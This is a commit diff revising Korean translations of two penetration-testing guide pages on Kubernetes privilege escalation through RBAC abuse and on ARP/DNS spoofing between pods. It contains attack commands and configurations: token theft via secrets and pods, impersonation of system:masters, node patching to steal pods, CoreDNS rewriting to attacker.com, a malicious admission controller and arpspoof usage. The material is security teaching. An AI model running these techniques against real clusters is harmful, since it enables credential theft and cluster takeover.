Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-04-14 22:07:07 +00:00
parent 369306e1bb
commit cc14c29582
2 changed files with 142 additions and 51 deletions
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 해당 서비스 계정의 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다.
권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다.
`bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예:
`bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예:
```yaml
apiVersion: v1
kind: Pod
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
#### Stealth
아마도 당신은 **은밀함**을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다:
아마도 **은밀함**을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다:
- **Privileged + hostPID**
- **Privileged only**
@@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
- **hostNetwork**
- **hostIPC**
_이전의 특권 포드 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)에서 확인할 수 있습니다.
_이전의 특권 포드 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _에서 확인할 수 있습니다._
### Pod Create - Move to cloud
**포드**(선택적으로 **서비스 계정**)를 **생성**할 수 있다면, **포드 또는 서비스 계정에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수** 있습니다.\
게다가, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다.
또한, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다.
자세한 정보는 다음을 확인하세요:
자세한 내용은 다음을 확인하세요:
{{#ref}}
pod-escape-privileges.md
@@ -193,7 +193,7 @@ path: /
**`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**.
따라서 **포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 노드를 (악용)할 수 있습니다**:
따라서 **포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용)할 수 있습니다**:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
@@ -204,14 +204,14 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
### port-forward
이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩**할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다:
이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩**할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다.
```bash
kubectl port-forward pod/mypod 5000:5000
```
### 호스트의 쓰기 가능한 /var/log/ 탈출
[**이 연구에서 언급된 바와 같이**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), **호스트의 `/var/log/` 디렉토리가 마운트된** 포드에 접근하거나 생성할 수 있다면, **컨테이너에서 탈출할 수 있습니다**.\
이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** ( `kubectl logs <pod>` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\
이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** (`kubectl logs <pod>` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\
Kubelet 서비스는 기본적으로 **컨테이너의 `/var/log` 파일 시스템을 노출하는** `/logs/` 엔드포인트를 노출합니다.
따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는** 공격자는 이 행동을 두 가지 방법으로 악용할 수 있습니다:
@@ -240,7 +240,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
#### readOnly 보호 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 경우, 폴더를 rw로 다시 마운트할 수 있습니다:
운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 , 폴더를 rw로 다시 마운트할 수 있습니다:
```bash
mount -o rw,remount /hostlogs/
```
@@ -252,7 +252,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 호스트 폴더를 쓰기 가능한 접근으로 마운트하는 것이었습니다:
이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 쓰기 가능한 접근 권한으로 호스트 폴더를 마운트하는 것이 었습니다:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -307,7 +307,7 @@ name: task-pv-storage-vol
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
또는 REST API를 사용하십시오:
또는 REST API를 사용하세요:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -323,7 +323,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
```
### Creating and Reading Secrets
특별한 종류의 Kubernetes 비밀이 있습니다. **kubernetes.io/service-account-token** 유형으로 서비스 계정 토큰을 저장합니다. 비밀을 생성하고 읽을 수 있는 권한이 있고 서비스 계정의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 서비스 계정 토큰을 훔칠 수 있습니다:
Kubernetes **kubernetes.io/service-account-token** 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고, serviceaccount의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다:
```yaml
apiVersion: v1
kind: Secret
@@ -390,13 +390,72 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다.
### 인증서 서명 요청
### EncrpytionConfiguration의 일반 텍스트
`certificatesigningrequests` 리소스에서 **`create`** 동사를 가지고 있다면 (또는 최소한 `certificatesigningrequests/nodeClient`에서). **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다.
이러한 유형의 객체에서 데이터가 휴지 상태에서 암호화되는 일반 텍스트 키를 찾는 것이 가능합니다:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 이 경우 **추가 권한이 필요하지 않습니다**. 그렇지 않다면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*`로 `approve`해야 함을 의미합니다.
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
모든 필요한 권한이 포함된 **역할의 예**는:
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
리소스 `certificatesigningrequests`에 **`create`** 동사가 있으면 (또는 최소한 `certificatesigningrequests/nodeClient`에 있으면) **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다.
[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 그런 경우에는 **추가 권한이 필요하지 않습니다**. 그렇지 않으면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*`로 `approve`해야 함을 의미합니다.
필요한 모든 권한이 포함된 **역할의 예**는:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -522,14 +581,14 @@ loadbalance
```
공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행하여 이를 다운로드하고, `rewrite name victim.com attacker.com`과 같은 내용을 추가하여 `victim.com`에 접근할 때 실제로 `attacker.com` 도메인에 접근하도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행하여 적용할 수 있습니다.
또 다른 옵션은 `kubectl edit configmap coredns -n kube-system`를 실행하여 파일을 편집하고 변경하는 것입니다.
또 다른 옵션은 `kubectl edit configmap coredns -n kube-system`를 실행하여 파일을 직접 편집하고 변경하는 것입니다.
### GKE에서의 권한 상승
GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어떤 경우든 주체는 클러스터에 접근하기 위한 자격 증명을 수집할 수 있도록 **`container.clusters.get`** 권한이 필요하며, 그렇지 않으면 **자신의 kubectl 구성 파일을 생성해야** 합니다 (다음 링크를 따르세요).
> [!WARNING]
> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그런 다음 GCP는 K8s API 엔드포인트를 통해 **주체**(이메일로)가 클러스터 내에 **접근할 수 있는지** 먼저 **확인**하고, 그 다음 **GCP IAM을 통해 접근할 수 있는지** 확인합니다.\
> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그런 다음 GCP는 K8s API 엔드포인트를 통해 **주체**(이메일로)가 클러스터 내에 **접근할 수 있는지** 먼저 **확인**하고, 그 다음 **GCP IAM을 통해 접근할 수 있는지** 확인합니다.\
> 이 중 **하나라도** **참이면**, 응답을 받게 됩니다. **아니면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다.
첫 번째 방법은 **GCP IAM**을 사용하는 것이며, K8s 권한은 **상응하는 GCP IAM 권한**이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다.
@@ -542,15 +601,15 @@ GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어
### 서비스 계정 토큰 생성
**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인할 수 있습니다).
**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
**`update`** 또는 **`patch`** **`pods/ephemeralcontainers`**를 할 수 있는 주체는 **다른 pods에서 코드 실행**을 얻을 수 있으며, 특권 있는 securityContext로 ephemeral container를 추가하여 **노드에서 탈출**할 수 있습니다.
**`update`** 또는 **`patch`** **`pods/ephemeralcontainers`**를 할 수 있는 주체는 **다른 pods에서 코드 실행**을 얻을 수 있으며, 특권 있는 securityContext로 ephemeral container를 추가하여 **노드에서 탈출**할 수 있습니다.
### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성할 수** 있습니다.
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성**할 수 있습니다.
[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](#malicious-admission-controller).
@@ -561,7 +620,7 @@ GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어
### 노드 프록시
**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드 실행**을 할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)에서 확인할 수 있습니다). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요:
**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드 실행**을 할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
@@ -569,9 +628,9 @@ GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어
[**Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기**](../pentesting-kubernetes-services/index.html#kubelet-rce)에서 확인할 수 있습니다.
### Pods 삭제 + 스케줄 불가능한 노드
### pods 삭제 + 스케줄 불가능한 노드
**pods**를 **삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods**를 **추방**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status`에 대한 접근)와 **다른 노드를 스케줄 불가능하게 만들 수 있는** 주체(`nodes/status`에 대한 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어권을 가진 주체는 **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다.
**pods삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status` 접근)와 **다른 노드를 스케줄 불가능하게 만들 수 있는 주체**(`nodes/status` 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어 권한이 있는 경우, **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -594,9 +653,9 @@ kubectl delete pods -n kube-system <privileged_pod_name>
Kubernetes는 권한 상승을 방지하기 위한 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)을 가지고 있습니다.
이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인자가 비활성화되어 있을 때도 안전 장치를 제공합니다.
이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인자가 비활성화되어 있을 때도 안전 장치를 제공합니다.
규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다.
규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다.
> [!WARNING]
> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다.
@@ -612,13 +671,13 @@ Rolebindings를 생성할 수 있는 권한은 사용자가 **서비스 계정
### Sidecar proxy app
기본적으로 포드 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, 포드 간의 통신입니다.
기본적으로 pods 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, pod 간의 통신입니다.
#### Create a sidecar proxy app
사이드카 컨테이너는 **포드 내에 두 번째(또는 그 이상의) 컨테이너를 추가하는 것**으로 구성됩니다.
사이드카 컨테이너는 **pod에 두 번째(또는 그 이상의) 컨테이너를 추가하는 것**으로 구성됩니다.
예를 들어, 다음은 2개의 컨테이너가 있는 포드의 구성 일부입니다:
예를 들어, 다음은 2개의 컨테이너가 있는 pod의 구성 일부입니다:
```yaml
spec:
containers:
@@ -630,11 +689,11 @@ command: ["sh","-c","<execute something in the same pod but different container>
```
기존의 포드에 새로운 컨테이너로 백도어를 추가하려면 사양에 새로운 컨테이너를 추가하면 됩니다. 두 번째 컨테이너에 첫 번째 컨테이너가 가지지 않는 **더 많은 권한**을 **부여할 수** 있다는 점에 유의하세요.
자세한 정보는: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
자세한 정보는 다음을 참조하세요: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### 악의적인 어드미션 컨트롤러
어드미션 컨트롤러는 **객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **권한이 부여된 후**니다.
어드미션 컨트롤러는 **객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **권한이 부여된 후**에 가로챕니다.
공격자가 어떻게든 **Mutation Admission Controller를 주입**하는 데 성공하면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다.
@@ -664,11 +723,11 @@ kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
위 이미지에서 볼 수 있듯이, 우리는 이미지 `nginx`를 실행하려고 했지만 최종 실행된 이미지는 `rewanthtammana/malicious-image`입니다. 도대체 무슨 일이 일어난 걸까요!?
위 이미지에서 볼 수 있듯이, 우리는 `nginx` 이미지를 실행하려고 했지만 최종 실행된 이미지는 `rewanthtammana/malicious-image`입니다. 도대체 무슨 일이 일어난 걸까요!?
#### Technicalities
`./deploy.sh` 스크립트는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 Kubernetes API에 대한 요청을 수정하여 관찰된 결과에 영향을 미칩니다:
`./deploy.sh` 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -688,7 +747,7 @@ Value: "rewanthtammana/malicious-image",
### **서비스 계정 토큰의 자동 마운트 비활성화**
- **포드 및 서비스 계정**: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있니다.
- **포드 및 서비스 계정**: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 허용합니다.
- **적용 방법**: Kubernetes 버전 1.6부터 서비스 계정 또는 포드의 구성에서 `automountServiceAccountToken: false`로 설정합니다.
### **RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당**
@@ -4,9 +4,9 @@
## Introduction
Kubernetes에서는 기본 동작이 **같은 노드에 있는 모든 컨테이너 간의 연결을 허용**하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결은 **Layer 2** (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 있습니다. 특히, **악의적인 컨테이너**가 같은 노드에 위치한 다른 컨테이너에 대해 **ARP 스푸핑 공격**을 실행할 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다.
Kubernetes에서는 기본 동작이 **같은 노드에 있는 모든 컨테이너** 간의 연결을 허용하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결은 **Layer 2** (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 가능성이 있습니다. 특히, **악의적인 컨테이너**가 같은 노드에 위치한 다른 컨테이너에 대해 **ARP 스푸핑 공격**을 실행할 수 있는 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다.
ARP 스푸핑 공격은 **공격자가 지역 네트워크를 통해 위조된 ARP** (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 **공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결**됩니다. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결이 보안 문제를 일으니다.
ARP 스푸핑 공격은 **공격자가 지역 네트워크를 통해 위조된 ARP** (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 **공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다**. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결이 보안 문제를 일으킬 수 있습니다.
4대의 머신이 생성될 시나리오는 다음과 같습니다:
@@ -98,13 +98,13 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
```
## 기본 Kubernetes 네트워킹
여기서 소개된 네트워킹 주제에 대한 더 많은 세부정보는 참조를 확인하세요.
여기서 소개된 네트워킹 주제에 대한 자세한 내용은 참조를 확인하세요.
### ARP
일반적으로 **노드 내의 pod-to-pod 네트워킹**은 모든 pod를 연결하는 **브리지**를 통해 가능합니다. 이 브리지는 “**cbr0**”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) **cbr0는 ARP** (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. 들어오는 패킷이 cbr0에 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다.
일반적으로 **노드 내의 pod 네트워킹**은 모든 pod를 연결하는 **브리지**를 통해 가능합니다. 이 브리지는 “**cbr0**”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) **cbr0는 ARP** (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. cbr0에 수신 패킷이 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다.
이 사실은 기본적으로 **같은 노드에서 실행되는 모든 pod**가 **같은 노드의 다른 pod와 통신**할 수 있음을 의미합니다 (네임스페이스와는 무관하게) 이더넷 수준(계층 2)에서.
이 사실은 기본적으로 **같은 노드에서 실행되는 모든 pod**가 **같은 노드의 다른 pod와 통신**할 수 있음을 의미합니다 (네임스페이스와 관계없이) 이더넷 수준(계층 2)에서.
> [!WARNING]
> 따라서, **같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.**
@@ -143,18 +143,18 @@ Endpoints: 172.17.0.2:9153
cat /etc/resolv.conf
nameserver 10.96.0.10
```
그러나, pod는 이 **주소**에 어떻게 가야 할지 **모릅니다**. 이 경우 **pod 범위**는 172.17.0.10/26입니다.
그러나 **pod는** 해당 **주소**에 접근하는 방법을 **모릅니다**. 이 경우 **pod 범위**는 172.17.0.10/26입니다.
따라서, pod는 **주소 10.96.0.10**으로 **DNS 요청**을 보낼 것이며, 이는 cbr0에 의해 **172.17.0.2**로 **변환**됩니다.
따라서 **pod는 10.96.0.10 주소로 DNS 요청을 보낼 것입니다**, 이는 cbr0에 의해 **172.17.0.2로 변환됩니다**.
> [!WARNING]
> 이는 pod의 **DNS 요청**이 **항상** **브리지**로 가서 **서비스 IP를 엔드포인트 IP로 변환**다는 것을 의미합니다. DNS 서버가 pod와 같은 서브네트워크에 있더라도 말입니다.
> 이는 **pod의 DNS 요청**이 **항상** **브리지**를 통해 **서비스 IP를 엔드포인트 IP로 변환**하기 위해 간다는 것을 의미합니다. DNS 서버가 pod와 동일한 서브네트워크에 있더라도 말입니다.
>
> 이를 알고, **ARP 공격이 가능하다는** 것을 알면, 노드의 **pod**는 **서브네트워크** 내의 **각 pod**와 **브리지** 간의 **트래픽을 가로챌 수** 있으며, DNS 서버로부터의 **DNS 응답을 수정**할 수 있습니다 (**DNS 스푸핑**).
> 이를 알고, **ARP 공격이 가능하다는 것을 알면**, 노드의 **pod**는 **서브네트워크** 내의 **각 pod**와 **브리지** 간의 **트래픽을 가로챌 수** 있으며, DNS 서버로부터의 **DNS 응답을 수정**할 수 있습니다 (**DNS 스푸핑**).
>
> 게다가, **DNS 서버**가 공격자와 **같은 노드에** 있다면, 공격자는 클러스터 내의 어떤 pod의 **모든 DNS 요청을 가로챌 수** 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다.
> 게다가, **DNS 서버**가 **공격자와 동일한 노드에 있다면**, 공격자는 클러스터 내의 어떤 pod의 **모든 DNS 요청을 가로챌 수** 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다.
## 같은 노드의 pods에서 ARP 스푸핑
## 동일 노드의 pods에서 ARP 스푸핑
우리의 목표는 **ubuntu-victim에서 mysql로의 통신을 최소한 훔치는 것입니다**.
@@ -237,12 +237,12 @@ arpspoof -t 172.17.0.9 172.17.0.10
당신은 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에서 이를 테스트할 수 있는 정말 멋진 **도구**와 **튜토리얼**을 가지고 있습니다.
우리의 시나리오에서는, **공격자 포드**에 **도구**를 **다운로드**하고 **스푸핑**하려는 **도메인**으로 \*\*`hosts`라는 이름의 파일을 생성**하세요:
우리의 시나리오에서는, **공격자 포드**에 **도구**를 **다운로드**하고 **스푸핑**하려는 **도메인**으로 **`hosts`라는 이름의 파일**을 생성합니다:
```
cat hosts
google.com. 1.1.1.1
```
